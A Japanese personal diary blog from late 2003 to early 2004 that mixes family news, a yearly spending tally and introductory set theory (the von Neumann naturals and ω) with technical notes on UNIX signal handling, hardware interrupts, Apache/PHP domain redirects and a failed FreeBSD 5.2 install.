x ∈ y x,y により真偽が定まる
(∃y)(∀x)(NOT(x∈y)) 空集合の存在公理(即ち真)

などが挙げられ論理式はパラメータとして変数を持つことも可能です。論理記号に関しては極力使用しないように努めますが、簡潔に記述した場合や誤解を招きやすい場合に使用する場合があるかも知れません。最後の例は

ある y が存在して任意の x に対して NOT(x∈y) または、
任意の x に対して NOT(x∈y) を満たす y が存在する。

と読みます。今後使用する可能性のある基本的な論理記号を列挙しますと、

NOT A A でない

A OR B A または B

A AND B A かつ B

A → B A ならば B

(∀x)A(x) すべての x に対し A(x) が成り立つ

(∃x)A(x) ある x に対し A(x) が成り立つ

などがあり、ここで A,B は論理式とします。本来はこの段階で推論規則と第１階述語論理の公理が必要なのですが、それに関しては「常識的に推論すれば良い」ということと、記述が非常に冗長になることを考えまして、今回は言及いたしません(調べるのが面倒で^^)。ただし次の点には留意する必要があります。

(A OR B) は NOT((NOT A) AND (NOT B)) と同値

(A AND B) は NOT((NOT A) OR (NOT B)) と同値

(A → B) は (NOT A) OR B と同値

(∃x)A(x) は NOT(∀x)(NOT A(x)) と同値

(∀x)A(x) は NOT(∃x)(NOT A(x)) と同値

また (A → B) AND (B → A) を (A<—>B)と記述する場合があります。

なかなか進まない書き物
いやはや、理解している部分の数学ねたなんかだといくらでも筆が進むのですが、ちょいと慣れない分野の書き物というのは、書いては消し、書いてはまた消しの繰り返しで、なかなか難儀しております。いや、必ず 1月5日(もしかすると10日位)までには間に合わせますので、ご迷惑をおかけ致しますが少々お待ち下さい。
自然数の構成と ω
[集合論雑記目次]
そもそも自然数(0,1,2,3,...)とはなにか、ということはは誰でも一度は考えたことがある疑問であると思うのですが、数学の世界でも「直感的に自明な天与のもの」「ペアノの公理を満たす対象」「有限順序数」等の色々な定義方法があるのです。これらはどれが優れているというものではなく、例えば第一の定義は超数学の世界で必要になりますし、第二の定義は「自然数を定義する一番自然な公理系」という意味で重要なのです。ここでは順序数のさわりとして、集合論でどのように自然数が定義されるかを非公式に記述したいと思います。
まず空集合 φ を考えまして、これの存在に関しても「空集合の存在公理」が必要なのですが、今はうるさいことを言わずにとにかく存在するということとします。それから高校程度で習う集合のごく基本的な演算も公理からの導出なしの「非公式な立場」で使用することとします。まずは、
0 = φ と定義する
ということで、空集合 φ で 0 を表現するのが集合論の立場です。めでたく 0 が定義出来たので、その後の 1,2,3... をどのように定義するかと言いますと、

1 = {φ} と定義する

2 = {φ,{φ}} と定義する

3 = {φ,{φ},{φ,{φ}}} と定義する

...

という感じなのですが、面白いことに 0,1,2,3 を観察しますと、その要素の個数がそれぞれ零個,一個,二個,三個になっていることが分かります。また特徴的な性質として、

0 = φ

1 = {φ} = {0}

2 = {φ,{φ}} = {0,1} = 1∪{1}

3 = {φ,{φ},{φ,{φ}}} = {0,1,2} = 2∪{2}

...

を得ることが出来ます。これを一般化して任意のの自然数を次の様に帰納的に定義することが可能となりまして、

0 = φ

n + 1 = n∪{n} = {0,1,2,3,...,n}

これでめでたく一般の自然数が定義出来るのですが、せっかく定義出来たので自然数全体の集合を考えて(これも公理が必要!!)みると、最初の無限順序数が得られるのです。

ω = {0,1,2,3,...}

さらに上記の手続きを同様に行いますと、

ω + 1 = {0,1,2,3,...,ω} = ω∪{ω}

ω + 2 = {0,1,2,3,...,ω,ω + 1} = (ω + 1)∪{ω + 1}

ω + 3 = {0,1,2,3,...,ω,ω + 1,ω + 2} = (ω + 2)∪{ω + 2}

...

という風に無限を表現する数(無限順序数)の世界へ入ることが可能となるのです。要するに一個前までの(順序)数全体の集合を考えると、次の(順序)数が得られるわけですが、例えば ω 自体は特定の順序数の「次」にはなっていません。この様な順序数を極限数と呼ぶのです。逆に例えば ω + 1 は ω の「次」の順序数なので極限数ではないのであります。

2004年1月2日(金)

箱根駅伝
丁度おうちの前を箱根駅伝の選手が走っていくので、毎年外に見に行くのですが、今年はまだまだ大丈夫であろうと思ってのんびりお雑煮なんか食べてから見にいったら、最後の選手が通過した後だったのです(^^。まったくまぬけですな。
FreeBSD-5 インストール断念
やってみたらうまく行かなかったのではなく、ちょいと書き物をする予定があったりしまして、慣れないことなので存外時間がかかるのです。というわけで、現在 4.9R で特に困っていることもなく、もう一年くらいはサポートが継続すると思いますので、今年一年現状維持で我慢しようかと思い始めたのです。休みの途中で一日会社に行くはめになったのが痛かったですな。根性なしです(^^。

集合論シリーズ・順序数開始予定

[集合論雑記目次]

順序数は集合論における最も基本的な概念なのですが、一見すると普通の数学一般への応用が少ないということで、数学専攻の人でも真面目に勉強したことがある人は少ないというのが実態だと思います。一般に数学を専攻して集合論のさわりを勉強しますと、一対一対応による「濃度(無限の大きさ)」の概念自体は表面上分かりやすく、特にカントールの定理、

任意の濃度 L に対して L < 2^L

がとても印象的なので、選択公理とともに勉強するツォルンの補題(帰納的集合は極大元を持つ...これで普通の数学の超越的な存在定理はほとんどまかなえる)を学習して、なんとなく集合論に関してはこれで十分という気分になってしまうの場合が多く、ご多分にもれず私自身もそうだったのです。また自然数の濃度が \aleph_{0}(アレフゼロ)であるということは理解しても(というか定義)、\aleph_{1}(アレフいち) は「次の濃度」という程度の認識しかなく、具体的な構成方法を勉強された方は案外少ないような気がするのです(もちろん私も)。

で、実を言いますと昨年の暮れから突然趣味の数学勉強モードに突入致しまして、やっと順序数の基礎の基礎のそのまた基礎程度を表面的に理解する程度にはなったかなと思うのと、順序数の奏でる世界が想像していたよりはるかに美しい宇宙であるらしいこともなんとなく理解できたので、しばらく集合論基礎シリーズを開始したいと考えているのです。おそらく遊びに来て下さる方にはつまんないシリーズだと思いますし、今までの例から途中で飽きてしまって自然消滅の可能性も強いのですが、挫折した元数学少年のたわごとだとお思いになって我慢して頂けると幸いです。もちろん日々の出来事ねた、浩子さんねた、モカねた、コンピューターねた、おばかねた、等は今まで通り継続致します(^^;。

ちなみに、突然集合論のさわりを勉強したくなった理由は、こちらの記事を書いて、巨大基数のことを理解出来たら楽しいだろうなー、と思ったのが最大の理由です。あと、今後使いそうな記号類の覚え書き。肝心のアレフが w3m で表示出来ないのが痛いですな。こちらを参考にさせていただきました。さらにこのシリーズはしばらく継続する予定ですので、上の方に集合論雑記目次を追加することとしましたl。

← ← ↑ ↑ → → ↓ ↓

⇒ ⇒ ⇔ ⇔ ∀ ∀ ∃ ∃

× × ÷ ÷ ∑ ∑ ≠ ≠

≡ &equiv; ∈ ∈ ∋ &ni; ∩ ∩

∪ ∪ ∧ &and; ∨ &or; ⊂ ⊂

≤ ≤ ≥ ≥ ∏ ∏ ℵ &alefsym;
⊃ ⊃ ⊆ &sube; ⊇ &supe; Α Α

Β Β Γ Γ Δ Δ Ε Ε

Ζ Ζ Η Η Θ Θ Ι Ι

Κ Κ Λ Λ Μ Μ Ν Ν

Ξ Ξ Ο Ο Π Π Ρ Ρ

Σ Σ Τ Τ Υ Υ Φ Φ

Χ Χ Ψ Ψ Ω Ω α α

β β γ γ δ δ ε ε

ζ ζ η η θ θ ι ι

κ κ λ λ μ μ ν ν

ξ ξ ο ο π π ρ ρ

σ σ τ τ υ υ φ φ

χ χ ψ ψ ω ω ↔ ↔

＃本当はフーリエ変換でも勉強した方が仕事に直接役に立つのですが、
＃そもそも解析はわかんないし、すぐに役に立つ勉強は好きでないのです。
＃学生時代一度も微分方程式解かなかったし(^^;。

2004年1月1日(木)

初日の出
新年明けましておめでとうございます。本年も宜しくお願い致します。
今日はお正月でお天気もそこそこ良いということで、朝の 6時頃に奧さまとモカと一緒に家を出て、海の方に初日の出を見に行ったのですが、いやはや道路の混んでいることといったら(^^。みんな考えることは同じなんですねー。それでもなんとか海岸まで行き着いたのですが、丁度おひさまが出る方向に雲がかかって残念ながら見ることはできませんでした。

雲に隠れて見えなかったおひさま
江ノ島
二女のパソコン
二女は自分が教わっていた音楽教室(今はモカと私が習っている)のアルバイトをさせて頂いているのですが、本番での仕込みや録画等の仕事はもちろん、PC を使った文書作成や編集の仕事も多いのです。で、今までは音楽教室のパソコンか自宅の牛を使って仕事をしていたのですが、牛の場合家族共用ですし、確か 600MHz 位の激とろ CPU なので作業がいまいちはかどらないらしいのです。
そんなことをドラムの先生(自作 PC マニア^^)と話ていたら、ありがたいことに遅くて使っていない PC 一台を貸して下さるそうでして、実際は遅いなんて大嘘でおうちの PC とは比べ物にならない激速で、ペンティアムなんとかの 2GHz 位でメモリーが 512Mbytes 位の性能なのです(もちろん自作)。最大の問題は置場所なのですが、子供達の部屋には一つ散らかって使用不可能になっている机があるので、そこを整理して置くことにして、問題点は次の二つ。
- モニターがない
  液晶は高くて無理なのですが、仕事の関係でそこそこ広い画面があったほうがはかどると思うので、17inch 位のブラウン管モニターを買うことにします。
- 子供部屋は廊下を隔てた場所にあり有線の LAN を設置するのが難しい
  二女や奧さまは書き物や編集をするだけなので LAN など必要ない、というのですが、ネットワークに繋がっていない PC がいかに無能で不便であるかの実感がないのでしょうな。ということでとりあえず Ethernet/無線 LAN 変換装置を購入する予定なのです。
いやはや、新年早々散財のねたが出てきたものですが、せいぜい稼いで頂いて、もちろんモニター代やネットワーク代を出せとは言いませんが、せめてイベントに行くとき等賛助金をせびりにくる頻度が減ると良いのですが...(^^;。
＃ちなみに貸与期間はアルバイトをしている間だそうで、
＃今高校一年でなので最低 2年間は貸して頂くことになりそうです

2003年12月31日(水)

大晦日
いやはや、掃除は中途半端な状態で会社に行ったりしてまだ終わっていないし、年賀状も書いていないし今日は忙しいですな。で、お正月休みの目標としましては、
- FreeBSD-5 を R30 にインストール。ただ X24 は無理なので本当にやるかどうかは未定だったりします。余っているノート用ハードディスクがないのが痛いですな。もし実行するとなると、
  - R30 のデーターや設定を X24 にバックアップ(念のために牛にも)。
  - X24 の設定を変更して一時的にサーバーとする。
  - R30 に FreeBSD-5 をインストール。うまく行かなかったら FreeBSD-4.9 に戻す。
  - R30 にサーバーの設定を行う。
  - 元の環境に戻す。
  ということでとっても面倒なのですね─。どうしよう(^^。
- ちょいと書き物をする。
- 趣味の数学の本を読む。
という程度で、たいした目標もないのですが、寝正月だけは回避したいと...。
それはそうと毎日のように遊びに来て下さる方も何人かいらっしゃるようで、本当に一年間お世話になりました。なんの取り柄のないページですが来年も宜しくお願い致します。
(おまけ)今年最後のお月さま

2003年12月30日(火)

散財集計

もうすぐ今年もおしまいということで、去年に続いてコンピューター関連(含デジカメ)とコンサート関連の散財記録なのです。細かい金額は全く記憶にないし、調べたり計算するのも面倒なのであくまで概算です。

項目価格備考

今は亡きザウルス SL-B500 70,000 SD カード等含む

Air'H ならびに @Freed 一年分 70,000 @Freed 購入費含む

BLR3-TX4L ルーター 5,000 すでに廃止

PICNIC biff 装置 12,800

USB-RSAQ2シリアル-USB 変換 15,000

LUMIX FZ1 50,000 予備の電池・ケース含む

DMW-VUZ1 5,400 FZ1 バージョンアップ

X24英語キーボード 10,000
赤ぽっちん10個 900

コンピューターその他 50,000 ADSLマニア散財等

谷山浩子さん猫森 Ltd 6,000 交通費含む

京都コンサート 38,000 交通費・宿泊費等含む

谷山浩子さん歌暦 7,000 交通費等含む

宇宙の子供 3,000 交通費等含む

猫森集会 8,500 x 8 = 68,000 交通費等含む

大阪コンサート 6,500 + 24,000 = 30,500 交通費等含む

名古屋コンサート 6,500 + 20,000 = 26,500 交通費等含む

FC、楽譜、グッズ等 30,000 概算

合計 498,100

うーむ、50万円ですか。去年の半分とはいえ、浩子さんの CD 30枚分とノート PC 2台分が減っているだけで、本質的に散財癖は治っていないようです。来年はもう少し節約したいのですがなかなか難しいのでしょうな。

2003年12月29日(月)

続・続今年がなかなか終わらない(^^;
来年早出荷機材のお正月ランニングテスト中にちょいと問題ありて今日も会社だったりします(^^。なんとくソフトの問題というよりも、環境の問題っぽい。
＃購入した部品のロットによる差異が原因のようでした。
＃こっそり仕様を変えないで欲しいですな。

2003年12月28日(日)

掃除
年末ということで、自宅の自分の机の上や回りに山積みとなった書籍やごみ等の掃除を始めたのですが、いやはやどうすれば一年でこんなに散らかるのか(^^。とりあえず分別しないで(もちろん後で分別します)どんどん袋に入れてるのですが、まだ収集がついていないのです。今年がなかなか終わらない(^^。
モカちゃん星を見に行く
昨日はモカが藤沢市科学少年団の学習で「夜空を見よう」というお題目だったのです。午前中藤沢市は曇っていて開催が心配されたらしいのですが、夕方から快晴となり自分の双眼鏡を持って奧さまと一緒に出かけたのです。プレアデス星団等非常に綺麗に見えたそうでして、さらに望遠鏡でも観察させて頂いた、ということで私も会社がなければ一緒にいったのに...。とっても羨ましいのであります。

2003年12月27日(土)

二女のお泊まり
明日東京ビッグサイトに「冬コミ」観戦に行くそうでして、今晩はお友達のおうちで出陣式なのです。優雅な生活ですな。
液晶モニターお買い上げ
ご家族様の牛パソコンには見るからに安い「ブラウン管」モニターが付いてきまして、もともとあんまり綺麗でなかったのが、最近ちらついて一段とよくないなー、と思っていたらとうとう見るに耐えないほどの状態になってしまったのです。というわけで、液晶ディスプレイの購入となったのですが、年賀状等の急ぎの用途があるので、事は急を要したのであります。そこでうまいこと今日は会社も比較的暇だったので、昼休みに近くの電気屋さんに行って物色したのですが、こちらの方面には全くうといので良く分からないのですが、予算と置場所の都合で 15 inch というとそんなに選択肢はないらしく、なんとなく無難な線で LCD-A15CE というのを 35,000 円位で購入したのです。さっそく家に持ち帰り(重かった ^^)取りつけると、今までのが悪すぎた影響もあるのでしょうが、なかなか綺麗なものなのですね。ふむふむ、このくらいの画質ならば買って正解という感じでして、ご家族さまにもなかなか好評なのであります。

＃前はもう少し高い解像度(1152x864 ピクセル)で使っていたので少々
＃情報量は落ちてしまいました。
仕事納め
おととい書きましたように今日も出社なのです(^^。昨日の徹夜作業で本当に 今年の仕事は完了という感じなので、うだうだ過して午後はとっても散らかっている机の掃除をする予定なのです。

2003年12月26日(金)

今年がなかなか終わらない
今午前 2時頃なのですが、昨日の日記で「一段落」なんて書いたらはまってしまってまだ仕事していたりします(^^;。そもそもこのねたを出そうとすると、なぜか徹夜するはめになるのです。不可解ですな(^^。

2003年12月25日(木)

今年もやっと一段落
今年も残り少なくなり、今日で今年分の仕事も一段落しそうです。ちなみに今週の土曜日は会社全体で「12月29日(月)」との振り替え出社だったりします。
シグナル覚え書き
UNIX のシグナルはハードウエアーのレベルセンシティブ割り込み(後述)を忠実にシミュレートしたものなのですが、まずはシグナルハンドラを作成する場合の覚え書き。
```
Signal が発生した場合 handler が呼ばれる様に設定する。
シグナル処理中は signal 自信は保留される。
----------------------------------------------------------------------
/* シグナル(signal)をシグナルハンドラに結び付ける */
int setsignal(int signal,
              void (*handler)(int signo,siginfo_t *info,void *data))
{
    struct sigaction sa;

    memset(&sa,'\0',sizeof(sa));
    sa.sa_sigaction=handler;        /* ハンドラを設定 */
    sigemptyset(&sa.sa_mask);       /* マスクはなし */
    /*
     * SA_RESTART   システムコールを中断しない(再試行する)
     * SA_NOCLDSTOP  子プロセスの終了以外報告しない
     */
    sa.sa_flags=SA_SIGINFO|SA_RESTART|SA_NOCLDSTOP;
    if (sigaction(signal,&sa,NULL)==-1) {
        perror("sigaction");
        return(-1);
    }
    return(0);
}
----------------------------------------------------------------------
```
```
与えられたシグナルの保留と解除は、
----------------------------------------------------------------------
/* シグナルをマスクする(エラー処理はてぬき) */
int masksignal(int signal)
{
    sigset_t mask;

    sigemptyset(&mask);         /* 空のマスクを作成する */
    sigaddset(&mask,signal);    /* signal を追加 */
    sigprocmask(SIG_BLOCK,&mask,NULL); /* mask を追加 */
    return(0);
}
/* シグナルをアンマスクする(エラー処理はてぬき) */
int unmasksignal(int signal)
{
    sigset_t mask;

    sigemptyset(&mask);         /* 空のマスクを作成する */
    sigaddset(&mask,signal);    /* signal を追加 */
    sigprocmask(SIG_UNBLOCK,&mask,NULL); /* mask の補集合と現行の共通部分 */
    return(0);
}
----------------------------------------------------------------------
```
誤解されている場合が多いのですが、「シグナルを保留する」ことと「シグナルを無視する」ということは全く異ります。無視する場合はその時点で送られたシグナルは永遠に失われます。保留中に来たシグナルは保留が解除された段階でプロセスに配送されます。もう一つよくある誤解に「シグナルを取りこぼす」というものがあるのですが、「シグナルを無視している状態」以外では絶対にとりこぼしません。ただし、複数回の同一シグナルが「団子」になる場合はありえます。シグナルは無視されていなければ、その番号をインデックスとするカーネル内の配列の要素に「旗を立てるだけ」であり、保留されていない場合にはプロセスに配送されるのであります。
ここでハードウエア割り込みの話を少し致しますと、割り込みには「エッジセンシティブ」というものと「レベルセンシティブ」という検出の仕方がありまして、簡単のために正論理で記述致しますと。
```
エッジ  
        ____________________|~~~~~~~~|___________________________________
        
                            ^
                   この立ち上がりで割り込みを検知

レベル 
       ____________________|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|_____________

                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                            HIGH であることで割り込みを検知

       _________________________________________|~~~~~~~~~~~~|______
                                                割り込み解除してね!!
```
基本的にエッジ割り込みはハードウエアーが割り込み信号を変化させ、適当なタイミングで信号を落します。この立ち上がりで割り込み禁止の場合は割り込みをとりこぼすことになります。レベルの場合はハードウエアーが割り込み信号を上げてホストの「割り込み解除」信号が上がるまで割り込みを保持します。通常はデバイスドライバーの割り込みハンドラの中で「解除要求」を出すわけで、これによりハンドラに入るまで割り込み信号が保持され「とりこぼす」可能性は絶対にないのです。ただしハードウエアー側が 2回以上の割り込みを出したつもりでも、それらが団子になり一回の割り込みに見えてしまう可能性はあります。
レベルでも団子になるのでエッジとあんまり違わない様ですが、例えば次の状況を考えます。
ハードウエアーの致命的なエラーで割り込みをかけた。リセットしてほしい
この場合最後の割り込み以降ハードウエアーは動けないので、エッジの取りこぼしが発生すると永久にリセットがかかりません。レベルの場合は「取りこぼさない」ので、必ず検知可能であり検知した段階でリセットをかけることができ、めでたく処理を再開することが可能となるのです。この様な事情により最近はエッジ割り込みを使用ことはほとんどないのであります。
そんな訳でして、シグナルのセマンティクスと関連するデータの排他を正確に理解すれば、通常の割り込み処理デバイスドライバーを記述するのはそれほど困難ではありません。

2003年12月24日(水)

クリスマスイブ
今日はクリスマスイブということで、珍しく定時に退社して自宅へ直行。奧さまのお母様と妹さまにも来て頂きみんなで料理を食べたのです。

たくあんが風流
真打ちはケーキ
プレアデス星団
昨日は天気も良く月も出ていなくて、21時頃に空を見るとオリオン座が良く見えたので、さっそく双眼鏡を持ち出してベランダから眺めてみたのですが、ペテルギウスやリゲルの様な明るい星はもちろん、真ん中の三つ星とか、その少し下(南)の小三つ星(M42 オリオン座大星雲を含む)も良く見えましたし、近くには全天で見掛け上一番明るい恒星であるシリウスも輝いていまして、なかなか良い気分になれたのです。本当のことを言いますと双眼鏡を買った最大の目的は、
プレアデス星団(すばる)を見たい
という理由だったのですが、こちらはちょいと探すのに難行して、モカ姫所有の星座表などを持ち出したのですが、丁度真上のあたりに見つかりまして、こちらも感動的な美しさだったのであります。ところで今の神奈川県藤沢市では本当に明るい星しか肉眼では見えません(一時は火星しか見えなかった!!)。子供の頃に見た星空が今はやっと双眼鏡で見えるという感じでして、夜の無駄な明かりを全部消してしまえば良いと思うのですが、なかなか難しいのでしょうね。
＃あんまり真上を眺めていたので首が痛いのです(^^。

2003年12月23日(火)

頂きもののシクラメン
ピアノの先生に頂いたシクラメンなのです。
難しかったリダイレクト
というわけで、同じ自宅ホストに対する evariste.dd.que.ne.jp へのリクエストを evariste.jp にリダイレクトする方法を模索したということで、まずは自宅のサーバーのディレクトリ構造を説明致しますと、
- /home/kagami/public_html/ 以下に公開ファイルが置いてある。これらが外から見ると http://evariste.dd.que.ne.jp/~kagami/ 以下のホームページとなる。
- Document root はデフォルトの /usr/local/www/data/
とう状態でして、今考えるとファイルの置き場所を変更しないでも良い方法があるのですが、作業を開始したときは全然分からなく、とりあえず一番簡単そうな方法として、
- /home/kagami/public/ というディレクトリを作成する。
- ここに /home/kagami/public_html/ 以下のデーターをコピーする。
- /usr/local/www/data/kagami/ なるディレクトリを作成して /home/kagami/public/ にシンボリックリンクを張る。
なんてことしまして、/home/kagami/public_html/ にこんな記述をして
[.htaccess at 古いほうの日記のディレクトリ]
Redirect /~kagami/ http://evariste.jp/kagami/ (チルダなし!!)
を試してみたのです。これは一見ちゃんと動作いたしまして、なんだ簡単だな─、と思ったのですが、最新の日記のページを開いてみると、もくろみとしましては、
http://evariste.jp/kagami/diary/0000/newdiary.html
を Location として返送して欲しかったのですが、実際は Location の内容が
http://evariste.jp/kagami/diary/0000/diary.php?file=newdiary.html
となってしまうのです。実をいいますと日記だけはヘッダーやトレイラ─の管理(前月・次月等)や、将来に備えて PHP で記述していまして、なんたらかんたら.html で来たリクエストを PHP に渡すために、
[.htaccess at 日記のディレクトリ]
RewriteEngine on
RewriteBase /kagami/diary/0000/
RewriteRule ^(.*)\.html$ diary.php?file=$1.html
と書いてあるのですが、同じホストの httpd なので、最後まで評価した結果を Location として返すらしいのです。うーむ、これではかっこ悪いですねー。ということでディレクトリごとに RewriteRule を [R] 付きで記述して(最初 [R] を着けないではまった^^)も結果はおんなじで、ちょっと困ってしまったのです。
色々考えた末に、「そういえば PHP にヘッダーを記述する関数があったなー」と思い出しまして、結果的に書いたのが、
[.htaccess at 古いほうの日記のディレクトリ]
RewriteEngine on
RewriteBase /~kagami/diary/0000
RewriteRule ^(.*)\.html$ redirect.php?file=$1.html
RewriteRule ^(.*)\.txt$ redirect.php?file=$1.txt
RewriteRule ^(.*)\.c$ redirect.php?file=$1.c
RewriteRule ^(.*)\.h$ redirect.php?file=$1.h
RewriteRule ^(.*)\.pdf$ redirect.php?file=$1.pdf
RewriteRule ^(.*)\.dat$ redirect.php?file=$1.dat
RewriteRule ^(.*)\.cgi$ redirect.php?file=$1.cgi

という記述でして、PHP の方は、
<?php
header("HTTP/1.1 301 Moved Permanently");
header("Location: http://evariste.jp/kagami/diary/0000/$file");
?>
という感じなのです。最初の .htaccess がみっともないのは、もともと
[.htaccess in 古いほうの日記のディレクトリ]
RewriteEngine on
RewriteBase /~kagami/diary/0000
RewriteRule ^(.*)$ redirect.php?file=$1

と書いたら file に redirect.php そのものが渡ってしまい、これで相当悩んだ(1時間位^^)のですが、redirect.php 自体を書き換えるときのパターンマッチ引数が redirect.php に渡ってしまうのに気が付きまして、上記のような記述になったのです。今考えると RewriteCond を使って .php を排除して、さらにその部分に evariste.dd.que.ne.jp で GET が来たときに処理を限定する記述を書けば新しいディレクトリを作成する必要もなかったと思うのですが、もう動いてしまってまた書き直すのも面倒ですし、すでに evariste.jp の方から来て下さっている方もいらっしゃるようですので、このままの状態で放置して、数ヵ月後には evariste.dd.que.ne.jp は廃止する予定なのです。あと個人的にはチルダなしの方が入力が簡単なので好きであるという、という理由もあったりします(^^。
余談ですが、ドメイン獲得に関してはいつもまねをしているたかたにさんとねたがかぶっているのですが、今回は偶然の一致でして、決してまねをした訳ではありませんのであしからず(^^;。
メールアドレスに関してもちょっと悩んだのですが、レンタルサーバーでバックアップをとる仕組みにしてありますので、当面は kagami@evariste.que.ne.jp を存続致します。kagami@evariste.jp に送って頂いても全く問題はないのですが、非公式だった kagami@evariste.dd.que.ne.jp は廃止致しますので宜しくお願い致します。
＃最初新しいディレクトリで CGI を許可するのを忘れていたのも
＃結構はまりました(^^。

2003年12月22日(月)

ドメイン取得
突然なのですが先週の始めあたりから、自分のドメインがあったらいいな～、と思い立ちまして、水曜日に例のごとくレンタルサーバーを借りているアイ・ネット・ディに申請代行を申し込んだのです。新ドメイン名は evariste.jp でして、本当は evariste.org,evariste.net なんかが良かったのですが、残念ながらすでに登録されていました。ドメインを取った理由としましては、
- 現在のアイ・ネット・ディからの借り物ドメイン (evariste.que.ne.jp,evariste.dd.que.ne.jp)はこの会社に万が一のことがあるとなくなってしまい、そうなったらとても困るような気がする。ただしアイ・ネット・ディは非常に対応の良い会社で、この姿勢が続く限りは容易につぶれたりはしないと思います。
- 自分のを持っているとなんとなくかっこいい(^^。
- 日記のねたになる(^^;。
というどうでもよさそうな理由なのですが、毎年 6,000円程度の維持費を支払えば恒久的に自分専用の名前(xxx.evariste.jp)を使用出来るのはそんなに悪いことではないと思ったのです。
で、先週の中頃にアイ・ネット・ディに申し込みを行ったのですが(夜中の二時頃だったのに二時半頃に見積もりを教えてくれた)、ちょっと忙しくてローソン払いで入金したのが先週の日曜日の朝 10 時頃で、日曜なのにその日の夕方「登録が完了した」とのメールが届きまして、この段階でアイ・ネット・ディのサーバーには登録されていたようです。ただし、JPNIC 側の登録完了がある程度時間がかかるので「一日か二日で使用可能となります」ということだったのです。そういう訳で、これは火曜日位に開通かなと思っていたのですが、なんと今日の朝起きてみたらすでに開通していたのです。いつもの通りアイ・ネット・ディ様の手続きの迅速さには敬服いたします(^^。
それで、現在私が使っているドメイン名は、

evariste.que.ne.jp 借り物・レンタルサーバー

evariste.dd.que.ne.jp 借り物・自宅

evariste.jp 自分の・自宅

ということになるのですが、最大の問題は自宅の借り物 evariste.dd.que.ne.jp の廃止をいかに軟着陸させるかなのでして、これからの運用としては、
- 現在のアンテナ等からのお客様(evariste.que.ne.jp)に関しては特に変更は必要としないようにする。ただし誘導先は evariste.dd.que.ne.jp から evariste.jp に変更する。
- evariste.dd.que.ne.jp に直接来られるお客様も多いので、こちらも evariste.jp に誘導する。
- 検索エンジンや検索で来られる方はほとんど evariste.dd.que.ne.jp のアドレスで来られるので、こちらも evariste.jp に誘導して、だんだん evariste.dd.que.ne.jp の検索が少なくなるようにする。
- evariste.dd.que.ne.jp へのアクセスが減った段階でこの借り物を廃止する。
というロードマップなのであります。
実をいいますと現在の建前上の正式な入り口は、レンタルサーバーの evariste.que.ne.jp でありまして、これは自宅がこけた時などに「だめ情報」を転送しておけばちょっとは便利であろう、という程度のことが理由なのですが、実際は即座に自宅にリクエストが転送される様に設定してありまして、昨日までのレンタルサーバーの設定は、
[.htaccess at evariste.que.ne.jp(旧)]
Redirect /kagami/ http://evariste.dd.que.ne.jp/~kagami/
という感じだったのですが、お客様にはなるべく借り物の evariste.dd.que.ne.jp ではなく、新規のドメイン evariste.jp の名前の方に来て頂きたいので、
[.htaccess at evariste.que.ne.jp(新)]
Redirect /kagami/ http://evariste.jp/kagami/ (チルダなし!!)
と書き直しまして、これで evariste.que.ne.jp から入室されるお客様は、全員 evariste.jp 部屋に入って頂けるということになります。てな所まで書いていたら眠くなってきたのと、この後の「はまり」が色々あって書いていると長くなりそうなので、続きは明日に致します(^^;。

2003年12月21日(日)

CF カード作成大作戦
会社で CF カードをかなりの枚数焼く必要が出まして、一度だけ焼くのでしたらイメージを焼いてくれるサービスもありますので、そちらを利用すれば良いのですが、なんせプログラムを入れる CF なので出荷しようとしたらバグがあって全部焼き直し、等の戻りがかなりの回数発生する可能性があるのです。で、通常はノート PC の CF スロットもしくは PCMCIA スロットにげたをはかせて焼くのですが、これがあんまり良くないのです。基本的に CF の読み込みはアサインされたベースアドレスからのオフセットを I/O リードすれば良いのでそんなに問題はないのですが、書き込みの場合は一度消去処理が必要で、仕様にそったそこそこ面倒な手順が必要なのです。もちろん BSD なり Linux を使用していれば、面倒なことはドライバーが吸収して下さるので、単に cat 等で読み書きを行えば良いのですが、
- 一度に一枚しか焼けないので効率が悪い
- CF の場合読み込みや書き込みの完了で割り込みが上がってくることがなく、完了状況をポーリングして調べる必要がある。従って読み書き中は他のプロセスがほとんど動作不可能となる。マウスを動かそうとしてから 5秒くらいたってからやっと動いたりします。I/O 時間が 90%以上占有するようになってしまうので当然なのですが。
という感じで非常に不便なのです。そこで考えたのが USB 経由の CF スロット装置を使用すれば、ポーリングのレベルは CF スロット装置側がとり行って下さり、ホスト PC には USB レベルのの完了割り込みが入ってきて、ホストにストレスがかからないし、USB ハブを利用すれば一度に何枚も焼けるのではないかということなのです。
そういうわけで、先週 USB ハブと USB 経由 CF スロット装置 4つ購入いたしまして実験をとり行ったところ、予想通りの結果となりまして、本体の PC は I/O 時間が 10% 程度におさまり、焼いている途中でも全くストレス無く使用出来るようになったのです。時間に関してはどうかといいますと、さすがに 1 枚の時と同じ時間では焼けず 4枚同時に焼くと 3倍程度の時間が必要なのですが、こういう場合一度仕掛けると終わっても気が付かないで、次のを仕掛けるのが遅くなる場合が多いので、一度に複数枚焼くことによりかなりの効率向上と面倒くささの削減を見込めるようになったのです。大成功ですな(^^。

2003年12月20日(土)

忘年会
今日は 14時頃から 22時頃まで谷山浩子さんファン系の忘年会に参加。楽しかったです。
FreeBSD-5.2RC 導入実験
長らくためらってきた FreeBSD-5 系列のインストールですが、前にチャレンジして大失敗した頃から大分時間もたったことですし、そろそろ 4-系列の終了も近いということで、「どんな案配なのかな～」と、とりあえず CDROM からブートしてインストールメニューまでたどり着けるか試してみたのです。サーバーの R30 の方は長時間止めにくい、ということで今日は X24 の方で実験です。準備としては、
- ftp://ftp.jp.freevsd.org/pub/FreeBSD/releases/i386/\
  ISO-IMAGES/5.2/5.2-RC1-i386-disc1.iso を取ってくる。45分位かかりました。
- 牛に転送して CDROM に焼く。FreeBSD ルーター化により無線でなく 100BaseT になったので高速なのです。100BaseT なのでネットワーク越しに焼いても余裕で大丈夫だと思うのですが念のため。
- X24 にげたをはかせて CDROM からブートする。
という手順だったのですが、結論を申しますと、
ブートの途中でとまってしまいます(-_-)
セーフモードというのも選べるのですが、それでもだめなのです。さらに悪いことに内部の温度管理が全く不可能になるらしく、温度がどんどん上がりピーピー警告音が鳴り始める始末なのです。さらにさらに悪いことに電源スイッチを押してもまったく反応しないで音が鳴り続けて、どこかにリセットする穴があるのかも知れませんが場所が分からないし、近くに細い棒もなかったので大急ぎで電源を抜いてバッテリーも取り外したのです。温度管理が全然できないでスイッチも無効になることから考えまして、割り込み禁止状態での I/O ビジーに陥った可能性が強いのですが、もちろんこれは単なる推測なのです。
